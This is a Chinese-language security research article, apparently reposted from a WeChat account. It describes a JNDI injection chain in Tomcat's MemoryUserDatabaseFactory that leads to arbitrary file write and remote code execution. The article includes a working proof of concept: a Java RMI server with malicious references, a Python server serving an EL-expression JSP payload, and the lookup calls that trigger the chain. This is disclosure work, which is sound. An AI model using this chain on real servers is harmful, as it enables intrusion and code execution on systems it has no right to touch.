通过 MemoryUserDatabaseFactory 中的路径操作进行 JNDI 注入远程代码执行

admin 2024年7月23日15:37:58评论11 views字数 8741阅读29分8秒阅读模式

通过 MemoryUserDatabaseFactory 中的路径操作进行 JNDI 注入远程代码执行

在这篇博文中,我将描述一个相对较新向量通过我独立于其他研究人员发现的 JNDI 注入实现远程代码执行。利用对象查找过程进行 JNDI 注入的概念并不是什么新鲜事。如果您不熟悉这一点,我建议您阅读Michael Stepankin 撰写的这篇精彩博客文章。

我决定取消《全栈 Web 攻击》中的一些内容,所以如果你喜欢这种级别的 Java(和/或 C#)分析。

内存用户数据库工厂

在探索实现的类型时,ObjectFactory我发现了一个有趣的类,叫做org.apache.catalina.users.MemoryUserDatabaseFactory。它位于tomcat-catalina库中,并且与包含(臭名昭著的)的库是同一个库 org.apache.naming.factory.BeanFactory。这一点的重要性稍后会显现出来。

让我们从 课堂getObjectInstance内部开始MemoryUserDatabaseFactory

/*     */   public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {/*     */     .../*  81 */     Reference ref = (Reference)obj;/*     */     .../*  88 */     MemoryUserDatabase database = new MemoryUserDatabase(name.toString());/*  89 */     RefAddr ra = null;/*     */     /*  91 */     ra = ref.get("pathname"); // 1/*  92 */     if (ra != null) {/*  93 */       database.setPathname(ra.getContent().toString());/*     */     }/*     */     /*  96 */     ra = ref.get("readonly"); // 2/*  97 */     if (ra != null) {/*  98 */       database.setReadonly(Boolean.parseBoolean(ra.getContent().toString()));/*     */     }/*     */     .../* 107 */     database.open(); // 3/*     */     /* 109 */     if (!database.getReadonly()) // 6/* 110 */       database.save(); // 7/* 111 */     return database;/*     */   }

这里有一些有趣的代码,在[1]处我们可以看到攻击者可以控制实例pathname上的属性MemoryUserDatabase

在[2] 处,攻击者也可以禁用该readonly设置。但有趣的代码出现在[3] 处,其中调用了open数据库实例。让我们来看看:

/*     */   public void open() {/* 418 */     this.writeLock.lock();/*     */     /*     */     try {/*     */       .../* 425 */       String pathName = getPathname(); // 4/* 426 */       try (ConfigurationSource.Resource resource = ConfigFileLoader.getSource().getResource(pathName)) {/*     */         .../* 430 */         digester = new Digester();/*     */         try {/* 432 */           digester.setFeature("http://apache.org/xml/features/allow-java-encodings", true);/*     */         }/* 434 */         catch (Exception e) {/* 435 */           log.warn(sm.getString("memoryUserDatabase.xmlFeatureEncoding"), e);/*     */         } /* 437 */         digester.addFactoryCreate("tomcat-users/group", new MemoryGroupCreationFactory(this), true);/*     */         /* 439 */         digester.addFactoryCreate("tomcat-users/role", new MemoryRoleCreationFactory(this), true);/*     */         /* 441 */         digester.addFactoryCreate("tomcat-users/user", new MemoryUserCreationFactory(this), true);/*     */ /*     */ /*     */         /* 445 */         digester.parse(resource.getInputStream()); // 5/* 446 */       } catch (IOException ioe) {/* 447 */         log.error(sm.getString("memoryUserDatabase.fileNotFound", new Object[] { pathName }));/* 448 */       } catch (Exception e) {/*     */         .../*     */       } /*     */     } finally {/* 456 */       this.writeLock.unlock();/*     */     } /*     */   }

在[4]处,代码使用攻击者控制pathname从远程下载文件并在[5]处解析文件。这当然会导致外部实体注入(但我离题了!)。这里要强调的重点是攻击者可以使用 XML 文件中的属性设置usersgroupsroles变量。这只是标准的tomcat-users.xml

<tomcat-users>    <role rolename="admin" /></tomcat-users>

上述 XML 会将角色“admin”添加到实例roles内的 Map 中MemoryUserDatabase。回到,如果攻击者在[6]getObjectInstance处禁用只读,那么他们就可以到达[ 7]。save

/*     */   public void save() { /*     */     ... /* 555 */     if (!isWriteable()) { // 8/* 556 */       log.warn(sm.getString("memoryUserDatabase.notPersistable"));/*     */       /*     */       return;/*     */     } /*     */     /* 561 */     File fileNew = new File(this.pathnameNew); // 9/* 562 */     if (!fileNew.isAbsolute()) {/* 563 */       fileNew = new File(System.getProperty("catalina.base"), this.pathnameNew);/*     */     }/*     */     /* 566 */     this.writeLock.lock();/*     */     try {/* 568 */       try(FileOutputStream fos = new FileOutputStream(fileNew); /* 569 */           OutputStreamWriter osw = new OutputStreamWriter(fos, StandardCharsets.UTF_8); /* 570 */           PrintWriter writer = new PrintWriter(osw)) {/*     */ /*     */         /* 573 */         writer.println("<?xml version='1.0' encoding='utf-8'?>");/* 574 */         writer.println("<tomcat-users xmlns="http://tomcat.apache.org/xml"");/* 575 */         writer.print("              ");/* 576 */         writer.println("xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"");/* 577 */         writer.print("              ");/* 578 */         writer.println("xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"");/* 579 */         writer.println("              version="1.0">");/*     */ /*     */         /* 582 */         values = null;/* 583 */         values = getRoles();/* 584 */         while (values.hasNext()) {/* 585 */           writer.print("  ");/* 586 */           writer.println(values.next()); // 10/*     */         } /* 588 */         values = getGroups();/* 589 */         while (values.hasNext()) {/* 590 */           writer.print("  ");/* 591 */           writer.println(values.next());/*     */         } /* 593 */         values = getUsers();/* 594 */         while (values.hasNext()) {/* 595 */           writer.print("  ");/* 596 */           writer.println(((MemoryUser)values.next()).toXml());/*     */         } /*     */       .../* 607 */       } catch (IOException e) {/*     */           .../*     */       } /* 613 */       this.lastModified = fileNew.lastModified();/*     */     } finally {/* 615 */       this.writeLock.unlock();/*     */     } /*     */     .../* 626 */     File fileOrig = new File(this.pathname);/*     */     .../* 636 */     if (!fileNew.renameTo(fileOrig)) { // 11/* 637 */       if (fileOld.exists() && /* 638 */         !fileOld.renameTo(fileOrig)) {/* 639 */         log.warn(sm.getString("memoryUserDatabase.restoreOrig", new Object[] { fileOld }));/*     */       }/*     */       /* 642 */       throw new IOException(sm.getString("memoryUserDatabase.renameNew", new Object[] { fileOrig/* 643 */               .getAbsolutePath() }));/*     */     } /* 645 */     if (fileOld.exists() && !fileOld.delete()) {/* 646 */       throw new IOException(sm.getString("memoryUserDatabase.fileDelete", new Object[] { fileOld }));/*     */     }/*     */   }

在[8]处,代码调用isWriteable

/*     */   public boolean isWriteable() {/* 532 */     File file = new File(this.pathname);/* 533 */     if (!file.isAbsolute()) {/* 534 */       file = new File(System.getProperty("catalina.base"), this.pathname);/*     */     }/* 536 */     File dir = file.getParentFile();/* 537 */     return (dir.exists() && dir.isDirectory() && dir.canWrite());/*     */   }

如果提供的路径存在且是目录,并且最后是可写的,则此代码将返回true。http://attacker.tld/tomcat-users.xml但如果攻击者使用远程 URI(例如),他们将如何实现此目的:?

让我们仔细看看getParentFile。运行以下代码……

File file = new File("http://attacker.tld/../../tomcat-users.xml");File dir = file.getParentFile();System.out.println("getParentFile result: " + dir);System.out.println("exists: " + dir.exists());System.out.println("isDirectory: " + dir.isDirectory());System.out.println("canWrite: " + dir.canWrite());System.out.println("isAbsolute: " + file.isAbsolute());

结果是:

getParentFile result: http:/attacker.tld/../..exists: falseisDirectory: falsecanWrite: falseisAbsolute: false

这里有趣的是,getParentFile转义 http 中的单斜杠 (/),然后表示目录不存在。如果我们http:/attacker.tld在当前工作目录中创建目录,我们会得到:

getParentFile result: http:/attacker.tld/../..exists: trueisDirectory: truecanWrite: trueisAbsolute: false

因此,如果攻击者拥有任意目录创建原语,那么他们就可以通过此检查!一旦攻击者通过了检查,他们就可以到达[9],从而创建受控文件名,并.new在末尾添加扩展名。在[10]处,攻击者控制写入,在[11]处,文件被重命名为原始名称,并删除扩展名.new

由于攻击者有可能绕过isWriteable检查,他们可以利用这一点来实现任意文件写入,从而导致远程代码执行。

绕过 isWriteable

由于BeanFactory位于同一个库中,因此我们可以在 Java bean 上调用任何单个字符串参数方法。我在 Apache Velocity 库中找到了这样一个 bean 类,它允许创建任意目录:org.apache.velocity.texen.util.FileUtil

/*    */ public class FileUtil/*    */ {/*    */   public static String mkdir(String s) {/*    */     try {/* 43 */       if ((new File(s)).mkdirs()) {/* 44 */         return "Created dir: " + s;/*    */       }/* 46 */       return "Failed to create dir or dir already exists: " + s;/*    */     }/* 48 */     catch (Exception e) {/*    */       /* 50 */       return e.toString();/*    */     } /*    */   }

当然,攻击者可以使用任何其他方法来创建任意目录或可能包含类似 bean 的任何其他库。

概念验证

两个对象与 RMI 服务器绑定。第一个对象将创建所需的目录路径,第二个对象将路径引导到攻击者想要放置文件的位置。在实际攻击中,这些路径需要进行调整。

package com.src.incite.jndi;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import javax.naming.StringRefAddr;import org.apache.naming.ResourceRef;import com.sun.jndi.rmi.registry.*;public class ObjectFactoryServer {    public static void main(String[] args) throws Exception {        System.out.println("(+) creating RMI registry on port 1099");        Registry registry = LocateRegistry.createRegistry(1099);        // for folder creation        ResourceRef ref1 = new ResourceRef("org.apache.velocity.texen.util.FileUtil", null, "", "", true, "org.apache.naming.factory.BeanFactory",null);        ref1.add(new StringRefAddr("forceString", "x=mkdir"));        ref1.add(new StringRefAddr("x", "http:/127.0.0.1:1337/"));        // for a file write        ResourceRef ref2 = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true, "org.apache.catalina.users.MemoryUserDatabaseFactory",null);        ref2.add(new StringRefAddr("readonly", "false"));        ref2.add(new StringRefAddr("pathname", "http://127.0.0.1:1337/../../../../some/path/to/apache-tomcat-9.0.65/webapps/ROOT/poc.jsp"));        registry.bind("Dir", new ReferenceWrapper(ref1));        registry.bind("Rce", new ReferenceWrapper(ref2));    }}

但当然,攻击者会写些什么呢?事实证明,由于类中的 XML 节点解析,他们无法使用双引号或尖括号。如果攻击者要编写 JSP 文件,Digester他们当然可以使用表达式语言来规避该问题。

#!/usr/bin/env python3from http.server import BaseHTTPRequestHandler, HTTPServerclass el(BaseHTTPRequestHandler):    def log_message(self, format, *args):        return    def do_GET(self):        if self.path.lower().strip().endswith('/poc.jsp'):            print("(+) request recieved: %s" % self.path)            message = """<tomcat-users>    <role rolename="${Runtime.getRuntime().exec('gnome-calculator')}" /></tomcat-users>"""            self.send_response(200)            self.end_headers()            self.wfile.write(message.encode('utf-8'))            self.wfile.write('n'.encode('utf-8'))        returnif __name__ == '__main__':    HTTPServer(('0.0.0.0', 1337), el).serve_forever()

对于存在漏洞的 JNDI 客户端,需要以下库(版本无关紧要):

  • tomcat-catalina-9.0.24.jar

  • tomcat-juli-10.0.23.jar

  • tomcat-util-10.0.23.jar

  • tomcat-util-scan-10.0.23.jar

  • velocity-1.7.jar

存在漏洞的应用程序需要进程所有者拥有可写的当前工作目录,攻击者还需要触发两次 JNDI 注入。攻击应该可以在基于 Windows 或 Unix 的系统上进行,因为getParentFile转义了正斜杠,并且在这两种情况下都可以从正斜杠构建路径。

new InitialContext().lookup("rmi://127.0.0.1:1099/Dir");new InitialContext().lookup("rmi://127.0.0.1:1099/Rce")

通过 MemoryUserDatabaseFactory 中的路径操作进行 JNDI 注入远程代码执行

结论

尽管看起来需要多个依赖项,但我相信我们可以通过找到其他目录创建向量或其他将攻击串联在一起的路径来减少这种情况。例如,如果您已经有一个任意目录创建原语,则可以删除 velocity 依赖项。此外,多个库往往会被分组、打包和部署在一起,因此,在您看到 tomcat catalina 库的地方,您肯定会找到 tomcat util 库。

这为典型的BeanFactory+ ELProcessor/GroovyShell组合提供了一个很好的替代方案,它可能在不可用时需要ELProcessorGroovyShell但它确实需要在目标上下文中执行 JSP。

参考

https://github.com/veracode-research/rogue-jndi/

原文始发于微信公众号(Ots安全):通过 MemoryUserDatabaseFactory 中的路径操作进行 JNDI 注入远程代码执行

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月23日15:37:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过 MemoryUserDatabaseFactory 中的路径操作进行 JNDI 注入远程代码执行https://cn-sec.com/archives/2989988.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息